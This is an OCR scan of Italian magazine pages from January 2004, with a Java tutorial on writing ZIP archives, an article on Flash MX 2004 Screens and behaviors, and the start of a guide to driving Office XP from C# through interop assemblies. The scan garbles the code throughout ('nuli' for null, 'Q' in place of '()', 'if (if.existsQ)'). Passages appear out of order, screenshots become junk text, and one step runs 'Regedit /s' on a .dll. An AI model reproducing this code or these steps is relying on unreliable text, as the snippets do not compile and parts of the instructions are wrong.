dati al suo interno per ottenere archivi compressi in 
formato ZIP Ecco una semplice applicazione, per 
riga di comando, capace di comprimere un file o 
una directory: 

import java.io.*; 

import java.util.zip.*; 

public class ZIPCreate { 

public static void main(String[] args) { 

// Se il file è una directory reitero il metodo sui suoi 

contenuti. 

File[] files = f.listFilesQ; 

for (int i = 0; i < files.length; i++) { 

zip(out, files[i], path + f.getNameQ + "/"); } 

} else { 

// Se è realmente un file, mi preparo a scriverlo 

nello stream. 

FilelnputStream in = nuli; 

try { 

// Apro uno stream in lettura verso il file. 

in = new FilelnputStream(f); 

// Aggiungo la nuova entry nell'archivio. 

out.putNextEntry(entry); 

// Copio i dati da uno stream all'altro. La 

compressione viene 

// eseguita automaticamente da ZipOutputStream. 

byte[] buffer = new byte[1024]; 

int I = 0; 

while ((I = in.read(buffer, 0, buffer.length)) != -1) { 
out.write(buffer, 0, I); } 

} catch (IOException e) { 

// In caso di problemi con il file... 

System.out.println("Errore per " + entry.getNameQ); 

} finally { 

// Chiudo lo stream in lettura. 

if (in != nuli) try { in.closeQ; } catch (Exception e) {} 

// Dichiaro il termine della nuova entry. 

try { out.closeEntryQ; } catch (Exception e) {} } 
}} 

> 



File f = new File(args[0]); 

if (if.existsQ) { 

System.out.println("II file specificato non esiste."); 

System. exit(2); } 

A questo punto, viene costruito un oggetto Zip- 
OutputStream. Il solo costruttore messo a disposi- 
zione da questa classe accetta un argomento di tipo 
java. io. OutputStream. 

Quindi, per creare un nuovo archivio ZIR bisogna 
agire secondo i seguenti passi: 

1. Creare un nuovo file e stabilire un OutputStream 
(tipicamente un FileOutputStream) per scrivere 
dati al suo interno. 

2. Incapsulare Y OutputStream appena ottenuto 
all'interno di uno ZipOutputStream. 

3. Servirsi dei metodi di ZipOutputStream per ge- 
nerare nuove entry e per scrivere dati all'interno 
dell'archivio. 

Traducendo in codice: 

ZipOutputStream out = nuli; 

try { 

out = new ZipOutputStream( 
new FileOutputStream(f.getName() + ".zip")); 

zip(out, f, ""); 

} catch (IOException e) { 

System. out. println("Impossibile generare l'archivio 
desiderato."); 

System.exit(3); 

} finally { 

if (out != nuli) try { out.closeQ; } catch (Exception e) {} 
} 

Questo blocco crea un nuovo archivio, inizialmente 
vuoto, e stabilisce uno ZipOutputStream verso di 
esso. Il file (o la directory) specificato dall'utente 
viene fornito allo stream dal metodo zipO, che esa- 
mineremo tra un attimo. Completata la scrittura, lo 
stream viene chiuso. Ovviamente, il blocco gestisce 
le eventuali situazioni inaspettate, come l'impossi- 
bilità di creare il file desiderato. Il metodo zipO intro- 
duce le nuove entry all'interno dello ZipOutput- 
Stream stabilito con il file. Accetta tre argomenti: 




PHILLIP 
W. KATZ 

Phillip W. Katz è il 
"padre" del formato 
ZIP. La sua storica 
creazione fu PKZIP 
(Phillip Katz ZIP, per 
l'appunto), il primo 
programma della 
storia capace di 
trattare gli archivi ZIP 
nella forma in cui li 
conosciamo oggi. 
Phillip è morto 
nell'Aprile 2000, all'età 
di 37 anni. 



http://webnews.html.it/ 
storia/58.htm 



Scendiamo nei meandri del codice presentato. 
Ancora una volta, il programma comincia la propria 
esecuzione controllando gli argomenti forniti. Il 
software si aspetta di ricevere un solo parametro, 
che rappresenti un percorso valido verso un file o 
una directory: 



if (args.length != 1) { 


System. out. println(' 


Uso del programma: 


'); 


System. out. println(' 


java 


ZIPCreate 


nome 


_file"); 


System. exit(l); } 



1. ZipOutputStream out, il canale in cui scrivere. 

2. File f, il file (o la directory) da introdurre nell'ar- 
chivio. 

3. String path, il path di base del file da introdurre. 
Questo argomento ha significato quando il 
metodo è invocato su una directory, agendo ri- 
corsivamente. Tra poco ne chiariremo i dettagli. 

Per prima cosa, viene creato un oggetto ZipEntryper 
rappresentare il file (o la directory) da aggiungere 
all' archivio: 



http://www.ioprogrammo.it 



Gennaio 2004/71 ► 



SISTEMA T ■ Gestione di archivi compressi 





AGZIPIMPUT- 

STREAM E 

GZIPOUTPUTS- 

TREAM 

Le due classi 

GZipInputStream e 

GZipOutputStream, 

sempre contenute nel 

package java.util.zip, 

sono simili alle 

corrispondenti 

ZipInputStream e 

ZipOutputStream. 

L'unica differenza sta 

nel fatto che non 

supportano la struttura 

a directory tipica di un 

archivio ZIP. In poche 

parole, permettono di 

comprimere e 

decomprimere un solo 

file alla volta. Il 

formato GZIP è tuttora 

usato in diverse 

situazioni, soprattutto 

in ambito UNIX. 



ZipEntry entry = new ZipEntry(path + f.getName()); 

Quindi si prendono strade diverse secondo la natu- 
ra dell'argomento f Se fé una directory: 

File[] files = f.listFilesQ; 

for (int i = 0; i < files.length; i++) 

{ zip(out, files[i], path + f.getNameQ + "/"); 

} 

Il contenuto della directory viene passato in rasse- 
gna. Su ogni elemento contenuto nella directory 
viene nuovamente invocato il metodo zipO, in ma- 
niera ricorsiva. Il terzo argomento del metodo subi- 
sce, in questo caso, delle variazioni, utili per stabilire 
il percorso che dovrà avere il file all'interno dell'ar- 
chivio. Supponiamo che l'utente abbia invocato 
ZIPCreate su una directory chiamata documenti, il 
cui contenuto è così organizzato: 

documenti 

i 

\— articoli 

I I 

| \—java.rtf 
|— cplusplus.rtf 

i 

\---curriculum.txt 

Il risultato dell'operazione attraverserà cinque chia- 
mate al metodo zipQ: 

zip(out, f, ""); // Per "documenti" 

zip(out, f, "documenti/"); // Per "articoli" 

zip(out, f, "documenti/articoli/"); // Per "documenti/ 

articoli/java .rtf" 

zip(out, f, "documenti/articoli/"); // Per "documenti/ 

articoli/cplusplus.rtf" 

zip(out, f, "documenti/"); // Per "documenti/curriculum. txt" 

In pratica, il terzo argomento del metodo specifica 
quale percorso dovrà essere associato al file (o alla 
directory) di cui si richiede la compressione. Quan- 
do fé un file vero e proprio, e non una directory, si 
passa all'inserimento nello stream della entry e dei 
dati ad essa associati: 

FilelnputStream in = nuli; 

try { 

in = new FilelnputStream(f); 

out.putNextEntry(entry); 

byte[] buffer = new byte[1024]; 

int I = 0; 

while ((I = in.read(buffer, 0, buffer.length)) !=-!){ 
out.write(buffer, 0, I); 

_J 

} catch (IOException e) { 

System. out.println("Errore per " + entry.getNameQ); 



} finally { 

if (in != nuli) try { in.closeQ; } catch (Exception e) {} 
try { out.closeEntryQ; } catch (Exception e) {} 

> 

Anzitutto, si stabilisce uno java.io.FilelnputStream 
verso il file che deve essere copiato e compresso 
all'interno dell'archivio. Quindi, la nuova entry vie- 
ne notificata allo ZipOutputStream attraverso una 
chiamata al metodo putNextEntryQ. I dati sono poi 
trasferiti dallo stream di lettura a quello di scrittura. 
ZipOutputStream li comprime automaticamente. Al 
termine dell'operazione, si notifica il termine della 
nuova entry con una chiamata al metodo closeEn- 
tryO. Allo stesso tempo, lo stream di lettura verso il 
file oramai compresso viene chiuso. Tornando all'e- 
sempio di poco sopra, al termine dell'esecuzione 
otterremo un archivio ZIP suddiviso nelle seguenti 
entry: 

documenti/articoli/java .rtf 

documenti/articoli/cplusplus.rtf 

documenti/curriculum. txt 

Non sono state create entry associate alle directory. 
Non è obbligatorio realizzarle. Per provare il pro- 
gramma, dopo la compilazione, lanciate il comando 
java ZIPCreate nomejìle. Naturalmente, nomejìle 
deve essere un percorso valido verso un file o una 
directory. Al termine dell'esecuzione, troverete nella 
vostra cartella di lavoro un archivio chiamato no- 
me_file.zip. Estraetelo, magari usando lo ZIPExtract 
del paragrafo precedente, per verificare la buona 
riuscita dell'operazione. 



IL MESE PROSSIMO... 

Abbiamo appena acquisito le conoscenze di base 
necessarie per leggere e scrivere archivi ZIP Come al 
solito, le nozioni qui presentate possono facilmente 
essere arricchite consultando la documentazione di 
Java, alle pagine dedicate al pacchettojava.util.zip. 
Le classi oggi presentate, infatti, hanno numerosi 
altri metodi, utili per avere un controllo più detta- 
gliato della situazione. Tanto per citare un esempio, 
è possibile stabilire il livello di compressione da 
applicare ad un archivio, semplicemente invocando 
un metodo. Le tecniche qui acquisite, ad ogni modo, 
sono più che sufficienti per integrare delle funziona- 
lità ZIP all'interno di altri programmi. Nonostante 
questo, il mese prossimo amplieremo il nostro per- 
corso di studio, realizzando un'applicazione a fine- 
stre per molti versi simile al noto WinZip. Dunque, 
se l'argomento stuzzica la vostra fantasia, vi aspetto 
su queste pagine per la realizzazione del nostro 
SwingZip! 

Carlo Pelliccia 



► 72/Gennaio 2004 



http://www.ioprogrammo.it 



Nuovi trend di programmazione 



T SISTEMA 



Sviluppare visualmente con il nuovo Flash MX 2004 




: verso 



Flash MX 

un ambiente RAD 

Nel campo dell'lnformation Technology le cose cambiano 
velocemente, ma questa volta la Macromedia ha compiuto un salto 
enorme. 



Con l'uscita di Macromedia Flash Mx 
2004 e la completa rivisitazione del 
linguaggio di programmazione Ac- 
tionscript 2, gli utenti si troveranno di fronte 
ad un programma che cambia radicalmente 
l'approccio allo sviluppo di applicazioni 
web. 

Quando ho cominciato ad usare la nuova 
versione del software mi sono spesso ritro- 
vato a fare analogie con l'ambiente di svilup- 
po di Visual Basic. Oggetti con interfaccia 
utente già definita che possono essere tra- 
scinati visualmente all'interno dell'applica- 
zione, sviluppare un progetto accedendo in 
maniera veloce a tutti i file esterni ad esso 
associati, lavorare definendo chiaramente la 
sequenzialità dell'interfaccia utente, event 
procedures, accesso ai dati semplificato, 
supporto per la distribuzione cross pro- 
ducts. Insomma tutte caratteristiche ben 
note agli utenti di applicativi RAD (Rapid Ap- 
plication Development). 

In questa prima parte dell'articolo introdur- 
remo gli Screense come con essi cambia l'ap- 
proccio allo sviluppo di applicazioni con 
Flash Mx 2004. 



FLASH MX 2004: 
GLI SCREEIMS 

La versione Professional di Flash Mx 2004 è il 
risultato di un attento lavoro da parte degli 
ingegneri della Macromedia per mettere a 
disposizione degli sviluppatori uno stru- 
mento potente e robusto per realizzare com- 
plessi progetti. 

Tutte le novità di ActionScript 2 non poteva- 
no non avere un riscontro anche nell'IDE del 
programma. Gli Screens sono proprio una di 
queste nuovi e potenti caratteristiche; met- 
tono a disposizione un'interfaccia utente in 



fase di authoring per creare e gestire docu- 
menti gerarchici complessi attraverso una 
struttura a blocchi, già ben nota a chi svilup- 
pa in altri ambienti RAD (Rapid Application De- 
velopment). 

Finalmente è possibile creare complesse ap- 
plicazioni senza più impazzire utilizzando 
frames multipli, scene, livelli. Con gli Screens 
è possibile gestire questi progetti senza uti- 
lizzare mai la Timeline, ma progettando in 
maniera visuale la gerarchia che esiste tra i 
documenti che compongono la nostra appli- 
cazione. 

Esistono due tipi di documento cosidetti 
screen-based: le Slide e i Form. 
Le presentazione di tipo Slide permettono di 
creare documenti Flash con contenuti se- 
quenziali, come per esempio una presenta- 
zione di tipo slide show. Quando si crea un'ap- 
plicazione di questo tipo vengono automati- 
camente generati i comportamenti (beha- 
vior) per navigare tra una slide e l'altra uti- 
lizzando le frecce sulla tastiera. Se sono state 
create Slide annidate (nested) non sarà pos- 
sibile navigare al loro interno con i behavior 
generati di default. Ogni slide è inoltre visua- 
lizzata su schermo in modo da sovrapporsi a 
quella precedente. 

I documenti di tipo Form invece, permettono 
di creare applicazioni form-based come per 
esempio moduli di registrazione utenti, car- 
relli elettronici. Gli Screens di tipo Form sono 
dei semplici contenitori che vengono usati 
per strutturare l'applicazione e non prevedo 
no la creazione di alcun behavior per gestire 
l'interattività tra di essi. Risulta quindi un 
ottimo strumento di sviluppo per gli utenti 
più esperti. 

È possibile settare i parametri e le proprietà 
degli Screens nella Property Inspector cambian 
do il tab Properties con quello Parameters. Con 
ActionScript è possibile utilizzare le classi 




j^^B 



COMPATIBILITA 

Le applicazioni 
Screen-based possono 
essere salvate in 
formato Flash player 6 
o più recente ma non 
in versioni più vecchie. 



http://www.ioprogrammo.it 



Gennaio 2004/73 ► 



SISTEMA T ■ Nuovi trend di programmazione 




i^^B 



AUTOMATICI 

Per chi ha fretta, o non 
ha voglia di dedicare 
molto tempo alla 
costruzione - piuttosto 
laboriosa - di un effet- 
to grafico su una scrit- 
ta o un logo, adesso è 
possibile ricorrere ad 
effetti automatici. A 
seconda dell'effetto 
scelto, possono essere 
applicate suddivisioni 
in più livelli, duplica- 
zioni, interpolazioni o 
altro, il tutto senza 
dover nemmeno sfio- 
rare la timeline. 



■^ Ut 
rcob 

IT * 
/ P 

£ A 

0. 
s / 

a a 


■rtp* ]n«ft MwJfy Tpfl; CMiuwnds Cflrtnrf Wwkìvh h<4| 


Eh 




fCKfitottpn 


| tTtaekw 


l* 






-■ 


presentai Mm 




«Ut! 









Fig. 1: Gli Screens. 

Form e Slide per andare ad estendere o creare 
nuove e complesse funzioni all'interno delle 
nostre applicazioni. Nel nostro articolo ge- 
stiremo un'applicazione di tipo Form-based, 
evidenziando come sia possibile seguire il 
modello MVC (Model View Controller) per svin- 
colare la parte logica dalla parte contenuti- 
stica della nostra applicazione. 



ACTIONSCRIPT 2 
E GLI SCREENS 

Per rendere le cose più semplici possiamo 
pensare agli Screens come a dei movie clip 
annidati tra loro che possono quindi intera- 
gire con il linguaggio di Flash. Dobbiamo 
però avere chiari alcuni concetti prima di 
addentrarci nell'uso illimitato che Action- 
Script ci mette a disposizione per gestire 
queste applicazioni. Di seguito vengono 
elencate delle buone norme (best practise) per 
usare in modo proficuo ActionScript. Ogni 
volta che aggiungiamo del codice Action- 
Script avendo prima selezionato uno Screen, 
il codice è agganciato direttamente allo 
Screen, è pertanto preferibile utilizzare que- 
sta tecnica per gestire funzioni semplici, per 
situazioni più complesse è consigliabile 





Macromedia Flash MX Professional 2004 


/ 


Open a Recent Henri 


Create New 


Create from Template 


j?| Object Array .as 


y^ Flash Documenti 


^ Advertising 


g) WshEdit.as 


^ Flash Slide Presentation 


^ Form Applications 


4^1 GForm.as 


£j Flash Form Application 


Q Mobile Devices 


g) WshList.as 


gì ActionScript File 


S Photo Slideshows 


£) wishList.flp 


Atti' "' - 


Q Presentations 


Q|] wishListlnterface.fla 


ì asri Javascript "ile 


^ Quii 


g] contextmenu.fla 


£) Flash Project 


^ Remoting 


£ Gulfstream_compl_remoting.fla 




O Slide Presentations 


g] flyjore.fla 




S More... 


* fly.fla 




Extend 


^Open... 




M lash Exchange 



creare delle classi esterne in ActionScript. 
Prima di cominciare a scrivere del codice è 
buona regola definire bene la struttura della 
nostra applicazione e assegnare ad ogni 
screens un nome che poi non cambierà con 
il tempo. In caso contrario, rinominando 
uno screen, il nome di istanza viene auto- 
maticamente cambiato e quindi tutto il 
codice ActionScript a cui esso faceva riferi- 
mento dovrà essere corretto. Anche se la 
Timeline di default è chiusa, possiamo fare 
riferimento ad essa in ActionScript utiliz- 
zando il path _root. Se volessimo gestire la 
navigazione tra le slide utilizzeremo il co- 
mando rootSlide e non utilizzeremo invece 
comandi all'interno degli eventi on(reveal), 
onftiide), on(keydown), on(keyup).Ho lasciato 
per ultima questa voce, ma in realtà per il 
nostro articolo sarà la più importante: ogni 
screen è automaticamente associato con Ac- 
tionScript alla propria classe. Questa asso- 
ciazione può essere cambiata settando alcu- 
ni parametri all'interno della Property In- 
spectore scrivendo in ActionScript del codice 
estendendo le classi Screens, Form e Slide. Uti- 
lizzando questa tecnica è possibile ottenere 
un'intera applicazione in Flash senza che al 
suo interno sia scritta una sola riga di codi- 
ce. Infatti tutte le funzioni saranno gestite da 
classi esterne scritte in ActionScript e asso- 
ciate ad ogni singolo screens. 



CREARE 
APPLICAZIONI 
CON GLI SCREENS 

Abbiamo detto che esistono due tipi di 
screens: 



Flash Slide Presentation 



Flash Form Application 



Per creare uno dei due tipi di documento è 
possibile utilizzare la Start Page di Flash che 
appare in apertura del programma o selezio- 



<P | □ application M formi D T <£], "% v 


N ► Timeline 


* = 




B application 



Fig. 2: La nuova Start Page del pacchetto Studio Mx. 



Fig. 3: Un documento con gii screens. 



+ 74/Gennaio 2004 



http://www.ioprogrammo.it 



Nuovi trend di programmazione I ▼ SISTEMA 



nando dal menu File la voce New e sceglien- 
do il tipo di documento dalla finestra. Dalla 
Start Page, sotto la colonna Create New selezio- 
niamo la voce Flash Form Application. Viene 
creato un documento con un form screen di 
default, come mostrato in Fig. 3. 
Per inserire altri form all'interno del nostro 
documento basta cliccare sul tasto in alto a 
destra (quello con l'icona del simbolo più) o 
cliccando il tasto destro del mouse e selezio- 
nando la voce Insert Screen dal context menu 
(Fig. 4). 




Insert Nested 5creé 
Insert Screen Type 



Cut 

Copy 

Paste 

Paste Nested Screen 



Delete Screen 
Hide Screen 



Fig. 4: Aggiungere uno screens 

Tra le varie possibilità che abbiamo notiamo 
l'inserimento di uno screen di tipo nested, 
cioè annidato o la voce Insert Screen Type che 
permette di inserire una Slide o un Form. Os- 
servando il pannello alla nostra sinistra, i 
nomi di default che vengono assegnati agli 
screens sono: Formi, Form2 e coi via. 
È ovviamente possibile rinominare gli scre- 
ens, avendo la sola attenzione di assegnare 
ad ognuno di essi un nome univoco. Infatti il 
nome assegnato allo screen è lo stesso utiliz- 
zato dalla sua istanza a cui poi il codice 
ActionScript farà riferimento. 
Inoltre gli identificatori di linkage (linkage 
identifier) corrispondono al nome dello 
screen e quindi al suo nome di istanza. 
Come per altri elemti gestiti all'interno di 
Flash, i nomi degli screens non devono con- 
tenere spazi, il primo carattere deve essere 
una lettera, un underscore o un simbolo $ e, 
come le nuove specifiche per ActionScript 2, 
sono case-sensitive. 

Sul tab Parameters del Property Inspector è 
possibile settare alcuni parametri per con- 
trollare come gli screens appariranno e si 
comporteranno quando l'applicazione sarà 
in runtime. 

Esistono differenti proprietà e parametri a 
seconda che stiamo gestendo applicazioni 
di tipo Slide o Form. 
Per quanto riguarda le Slide: 



autoKeyNav 

determina se la slide utilizza per la naviga- 
zione all'interno del documento le freccie 
della tastiera. 

Se settato a true, premendo la freccia di de- 
stra o la barra spaziatrice si vanza di una sli- 
de, mentre premendo la freccia sinistra ci si 
sposta indietro di una sclide. Se il parametro 
è settato a false non vengono gestite le azioni 
per navigare all'interno del documento, 
mentre se impostato a inerith eredita i settag- 
gi dalla slide precendete {parent). 

overlayChildren 

specifica se i child screens si sovrappongono 
ai loro parent durante l'esecuzione del fil- 
mato. 

playHidden 

indica se la slide deve continuare a girare 
anche se è nascosta. 

visible 

indica se una slide è visibile o meno durante 
l'esecuzione del filmato. Questa proprietà 
ha effetto solo in modalità run-time. 

I seguenti parametri sono invece disponibile 
sia per le Slide che per i Form: 

autoload 

indica se il contenuto deve caricarsi auto- 
maticamente o attendere finché il metodo 
LoaderloadQ non venga richiamato 

contentPath 

è un indirizzo assoluto o relativo che specifi- 
ca il file da caricare quando il metodo 
LoaderloadQ è chiamato. 

Sul tab Properties, invece, risiedono due pro- 
prietà molto importanti ai fini del nostro 
articolo: class nome e registration point. 

II class nome determina il nome della classe 
da a cui lo screen fa riferimento. Di default 
questo valore è assegnato alla classe mi- 
screens.Slide (per le slide) o mx.screens.Form 
(per i form). Il registration point indica invece 
la posizione del registration point dello 
screen in base al suo contenuto. 



I BEHAVIORS: 
TRANSIZIONI 
E COMPORTAMENTI 

Tra le novità della nuova versione di Flash 
risulta rilevante quella dei behavior. 




IL PANNELLO 
BEHAVIOR 

Oltre a sostituire la 
modalità normale, 
prevede alcune nuove 
funzioni estremamente 
utili. Ad esempio, 
adesso è possibile 
ordinare i livelli di un 
clip, anche senza 
ricorrere al metodo 
swapDepthQ. 



http://www.ioprogrammo.it 



Gennaio 2004/75 ► 



SISTEMA T ■ Nuovi trend di programmazione 




Proprio come Dreamweaver, ora anche 
Flash dispone di un set di azioni e comandi 
che possono essere applicati ai documenti 
senza scrivere nessuna riga di codice. 



ACTIONSCRIPT 2.0 

A partire dalla 

versione 2004, nasce 

ActionScript 2.0 che, 

oltre a nuovi oggetti, 

metodi e proprietà, 

introduce alcune 

convenzioni, 

obbligatorie in alcuni 

casi e solo consigliate 

in altri. Uno dei 

principali cambiamenti 

è che i nomi delle 

variabili e delle 

funzioni diventano 

tutti case-sensitive (la 

variabile miavar è 

diversa da MiaVar). 




Fig. 5: 1 Behavior. 

Dalla finestra Behavior posizionata alla destra 
deiride del programma, cliccando sul tasto 
col simbolo "+" è possibile accedere ad una 
serie di comportamenti già realizzati e com- 
pletamente funzionanti, divisi in sette cate- 
gorie, come mostra la Fig. 5: 

Data 

comprende un behavior per scatenare degli 
eventi a seconda del tipo di elemento a cui 
viene indirizzato 

Embedded Video 

comandi per gestire un video incorporato 
all'interno del documento 

Media 

azioni da compiere su differenti media 
all'interno del documento 



MovieClip 

azioni per navigare tra diversi movie clip 

Screen 

comandi per interagire con gli screen. 
Include anche un set di transizioni da appli- 
care agli screen 

Sound 

comandi per gestire i suoni 

Web 

comando per caricare una pagina web 

Per il nostro articolo, di particolare interesse 
sono le transizioni che possiamo applicare 
agli screens che permettono di ottenere 
effetti durante i passaggi da una slide o un 
form ad un altro. Per aggiungere una transi- 
zione è sufficente aprire la palette Behavior, 
andare sotto la voce Screens e selezionare 
Transitions. 

Verrà aperta una finestra di dialogo da cui 
poter scegliere tra nove effetti pre costruiti 
ed editarne i parametri di visualizzazione. 
La Fig. 6 mostra questa finestra di dialogo. 
Tra le azioni che possiamo compiere con i 
behavior sugli screen ci sono: Go to First Slide, 
Go to Last Slide, Go to Next Slide, Go to Previous 
Slide, e Go to Slide. Per aggiungere un behavior 
basta seguire le seguenti operazioni: 

• Selezionare lo screen 

• Nel pannello Behavior cliccare il bottone 

Add (+) 



Transitions 


























Iris 

Wipe 

Pixel Dissolve 

Blinds 

Fade 

Fly 

Zoom 

Squeeze 

Rotate 


■»■ 


Direction: 


in ' 


OUt 
(Seconds) 


Durati on: 


2 


Easing: 








None 




-) 






Start 
Location: 

Shape: 








Center 




'1 








Square 




H 














H 






An animateci mask in whic 
location. 


h a shape zoomsfrorn a 






















l OK j 


Cancel 


1 


L 

















Fig. 6: Le transizioni sugli scteens 



• Selezionare lo screen e il behavior appro- 
priato dal submenu 

• Se il behavior selezionato richiede un 
target screen, apparirà la finestra di dia- 
logo Select Screen in cui dovrà essere scelto 
lo screen di target. 

A questo punto, il behavior è stato aggiunto 
nella finestra Behavior. Dalla stessa possiamo 
cambiare l'evento su cui scatenere l'azione 
(per esempio la ricezione del focus di uno 
screen) nella colonna Event. 
Questa prima parte dell'articolo ci fornisce 
l'infarinatura di base che occorre a sviluppa- 
re un'intera applicazione utilizzando gli 
screens. Nelle seconda parte andremo a de- 
finire una form application utilizzando tutti 
i concetti illustrati in questo prima articolo. 
Alla prossima, buon lavoro. 

Marco Gasarlo 



y 76/Gennaio 2004 



http://www.ioprogrammo.it 



SISTEMA T ■ Interoperabilità COM / .NET 



Pilotare Office da codice 



Sviluppare applicazioni 



Office XP con C# 



(parte seconda) 



La tecnologia .NET di Microsoft permette di sviluppare applicazioni 
Office XP grazie all'interoperabilità fra componenti sviluppati 
secondo il modello COM e quelli basati su .NET 




In questo articolo vedremo come interagire con 
le applicazioni della suite Office XP per mezzo 
dei linguaggi .NET, nel caso particolare C#. Per 
fare ciò utilizzeremo un insieme particolare di 
assemblies .NET sviluppati e messi a disposizione 
dalla stessa Microsoft, collezione che prende il no- 
me di Office XP Primari/Interop Assemblies, o in 
breve Office XP PIA. 



□ CD □ WEB 

ofmex P _^up PRIMARY 

J^^mamé IIMTEROP ASSEIYIBLY 

La COM /.NET interoperability consente di utilizza- 
re componenti COM (Component Object Model) e 
COM+, ed in generale codice unmanaged (non ge- 
stito), da programmi eseguiti all'interno Common 
Language Runtime, cioè da codice managed (gesti- 
to). Può esistere un numero qualsiasi di assemblies 
COMinterop, cioè di assemblies .NET che permetto- 
no di nascondere i dettagli della tecnologia COM, ed 
usare i suoi componenti come se fossero scritti di- 
rettamente in .NET. 

Volendo, possiamo noi stessi avventurarci nello 
scrivere le nostre librerie per interagire con Word, 
Excel, o con la nostra applicazione preferita. Esiste 
però un solo assembly che contiene la descrizione 
ufficiale dei tipi, così come sono stati progettati e 
scritti dal creatore stesso, e magari con una serie di 
aggiunte e personalizzazioni per renderli più sem- 
plici da utilizzare. Questo assembly è chiamato 
Primary Interop Assembly (PIA). Microsoft ha creato 
una serie di assembly per ogni applicazione del pac- 
chetto Office XP, chiamati appunto Office XP 
Primary Interop Assemblies, ed utilizzeremo proprio 
questi per scrivere degli esempi C# che mostrino 
come interagire con Word, Excel, Powerpoint. 
Naturalmente gli Office XP PIA sono liberamente 
scaricabili dal sito di Microsoft, vedi le barre laterali 
per il link esatto. 



INSTALLARE 
I PRIMARY 
INTEROP ASSEMBLY 

Il file eseguibile contenente i PIA (Da scaricare col- 
legandosi sito www.microsoft.com/downloads, inse- 
rendo come chiave di ricerca "oxppia.exe") è un 
autoestraente, quindi basta eseguirlo e scegliere 
una directory di destinazione a nostro piacimento 
in cui estrarre gli assembly ed i file a corredo per la 
corretta installazione e registrazione degli stessi. Se 
abbiamo fretta, oppure se vogliamo installare tutti 
gli assembly contenuti nel pacchetto basterà lancia- 
re il file register.bat, altrimenti possiamo manual- 
mente scegliere gli assembly da installare. Per 
installare un assembly occorre inserirlo nella Global 
Assembly Cache (GAC) e registrarlo nel registro di 
Windows. Per portare a termine il primo compito è 
necessario utilizzare l'utility gacutil fornita dal fra- 
mework .NET. Naturalmente, dovrà essere imposta- 
to il corretto path per riuscire ad eseguire il coman- 
do oppure, se abbiamo Visual Studio .NET a dispo- 
sizione, basterà cliccare, fra i tools a disposizione, 
sulla voce "Visual Studio .NET Command Prompf. 
A questo punto basterà spostarsi nella directory 
contentente l' assembly da installare e lanciare dal 
prompt il comando: 

gacutil -i nome_assembly 

Ad esempio, fra gli assembly che troveremo nella 
directory in cui abbiamo estratto i file, troveremo 
l'assembly per Microsoft Word, Microsoft. Office. In- 
ter vp.Word.dll, e lanciando il comando: 

gacutil -i Microsoft.Office.Interop.Word.dll 

lo installeremo nella Global Assembly Cache (Figura 
1). Il passo successivo è quello di registrare il com- 
ponente nel registro di Windows, per semplificare 



p> 78/Gennaio 2004 



http://www.ioprogrammo.it 



Interoperabilità COM / .NET 



T SISTEMA 




Fig. 1: Abbiamo appena registrato l'assembly relativo 
a Word. 

tale operazione Microsoft ha incluso dei file con 
estensione .reg, che basterà lanciare sempre dal 
prompt in questa maniera: 

Regedit /s Microsoft.Office.Interop.Word.dll 

Ogni assembly dipende però da alcuni degli altri as- 
sembly estratti, dipendenze che potrete verificare 
leggendo i file Readme a corredo. 
Nel caso specifico di Word, vengono riportati i se- 
guenti altri assembly da installare e registrare con la 
procedura descritta sopra: 

Microsoft.Office.Interop.Word.dll 

Microsoft.Vbe.Interop.dll 

office.dll 

stdole.dll 

Per visualizzare gli assembly presenti nella Global 
Assembly Cache del nostro sistema, basterà visua- 
lizzare i file presenti nella sottodirectory \ assembly 
della directory di Windows, in genere C:\Winnt\ 
assembly oppure C:\Windows\assembly (Figura 2). 




c«* >6 £ X & 



r.o.woo.o 
reuma 
rxLna.n 

f-Q.MM.ft 



fcV+H.O 
7.Q_BW.B 
T.0LMOO-* 



Fig 
biy 



2: Verifichiamo la corretta presenza degli assem- 
necessari. 



UTILIZZARE 

GLI OFFICE XP PIA 

Per poter utilizzare gli Assembly così installati, 
dovremo naturalmente referenziarli in maniera cor- 
retta dal nostro progetto. L'operazione è natural- 
mente semplice ed immediata in Visual Studio 
.NET, ma anche compilando da line di comando 
con il compilatore esc il compito si rivela facile. 
Creiamo intanto un progetto C# in Visual Studio 
.NET. A questo punto dobbiamo aggiungere i riferi- 
menti agli assembly che ci interessano. Per far ciò, 
nella finestra Esplora Soluzioni, a destra dell'am- 
biente di sviluppo, clicchiamo con il tasto destro 
sulla voce References e quindi selezioniamo la voce 
Aggiungi Riferimento..., o equivalentemente sele- 



zioniamo la medesima voce dal menu Progetto di 
Visual Studio .NET. A questo punto, nella finestra 
che ci apparirà, clicchiamo sul tab dei componenti 
COM e selezioniamo l'assembly che ci interessa dal- 
l'elenco e clicchiamo su OK. 



UHI ESEMPIO WORD 

Siamo pronti per creare un piccolo esempio che uti- 
lizzi Word. Aggiungiamo con la procedura illustrata 
nel paragrafo precedente il riferimento alla libreria 
Microsoft Word 10.0 Object Library (Figura 3) . 



.NET COM | Progetti | 






imponente Versione lib... Percorso 


h 


Mii roseli: Windows : o nmon : . .. ì 


•:.',•• .'IME>OV •'5\: •• st -. m ì2\f,:< , , 


•'.'licrosoft \i» ridows ; . oni non : :. . : 


1 OW'I!!D0Wf!S-£ter 1 ,:.r',C0i-n.. 




Mi erosoli: Wii ;dows Co lon C . 2 







Mi 3sofi Windows : o nrno ì C. 


1 C'''^INC"JWf\fv^cm32V:0 .. 




Microsol .. Windows Irnaqe Aca, ,. : 







Microsoft Windows Installa' 0. . . 1 





■>-*> 


Microsofi WinPJf Insta .1 Me.,, 


: ;\Prc»3ra lìrni'i.Messenaer'i.rb i 




Microsoft Winsock Contro! &.O., : 







Micros ft WMI Scriptin i Vi 2 . : 


2 




Microsoft Word 10.0 Object Li. . . 8 


2 


i : XML, v2.6 2 


6 C V'ir JDO' -5i5 :t;r. lC\r;: 


■ vmi . w.i.n 3 


Q Ci'iWTHnn-iVS'iSusl-i m3?ìm<;Y 


v 



f. omponeni selezionati 



Fig. 3: Aggiungiamo il riferimento alla libreria 
Microsoft Word 10.0 Object Library. 



Nella finestra esplora soluzioni potremo verificare 
che i riferimenti siano stati effettivamente aggiunti 



(Figura 4). 








1 Esplora soluzioni - EsermpioCons. , . ^ X 






l[!|Q>|@ 






1 [55, Soluzione "EsempioConsoleWord" (prc 






1 fi- liP EsempioConsoleWord 






É- ^ References 






°M Microsoft. Office. Core 






°W System 






*^ System. Data 






-m System. XML 






°W VEIDE 






°W Word 






B App.ico 






[^ AssemblyInfo.es 






Q Classl.cs 





Fig. 4: La verifica sui riferimenti. 

Scriviamo ora qualche riga di codice per assaggia- 
re le funzionalità che abbiamo adesso a disposizio- 
ne. Innanzitutto aggiungiamo le direttive using : 

using Microsoft.Office.Interop.Word; 

